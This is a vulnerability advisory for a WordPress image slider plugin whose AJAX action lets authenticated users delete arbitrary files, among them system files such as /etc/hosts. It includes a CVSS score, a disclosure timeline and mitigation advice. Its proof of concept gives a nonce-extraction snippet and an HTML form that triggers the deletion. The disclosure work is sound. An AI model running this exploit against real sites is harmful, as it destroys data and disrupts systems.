Advisory:

Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete files

Vulnerability

Last revised:

Any user able to create or edit “Sliders” (the same users who can create/edit posts, as far as I can tell) is able to delete arbitrary files that the web user has permission to write to. In addition, the attacker is told whether that operation succeeded or failed.

Depending on configuration this could lead to the attacker being able to:

  • Delete media uploads
  • Delete plugin files (this would be especially bad if there were security plugins limiting the attacker’s abilities)
  • Delete important system files (/etc/hosts, /usr/bin/php)
  • Attempt to delete unimportant files in order to discover more information about the system (i.e. attempting to delete /usr/share/doc/apt/changelog.gz would have little effect on the system if successful but it would tell the attacker that the host is running a Debian derivative)

Current state: Reported

CVSS Summary

CVSS base scores for this vulnerability
Score 5.5 Medium
Vector Network
Complexity Low
Authentication Single
Confidentiality Partial
Integrity Partial
Availability None
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

  1. First, make sure you have a file to delete. I’m going to use /etc/hosts as an example because it demonstrates that you’re not limited to files within the WordPress installation, but make sure whichever file you use can be deleted by the user account WordPress is running under
  2. Visit /wp-admin/post-new.php?post_type=easyimageslider
  3. Input the following JavaScript in the inspector’s console to get the nonce value: document.querySelector('[data-tnonce]').dataset['tnonce']
  4. Create a page containing the following code, replace NONCE with the nonce you got in the previous step, visit the page and click submit
<form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
  <input type="text" name="action" value="ewic_timthumb_check">
  <input type="text" name="turl" value="/etc/hosts">
  <input type="text" name="security" value="NONCE">
  <input type="submit">
</form>

If WordPress is being run as root (or if the web user has permission to write to that file) then the page will display “1”, if not it won’t display anything.

Advisory timeline

  • 2015-10-29: Discovered
  • 2016-12-09: Reported to vendor via info@ghozylab.com
  • 2016-12-23: Vendor has not responded after 14 days
  • 2016-12-23: Published

Mitigation/further actions

Disable the plugin. No fixed version is known.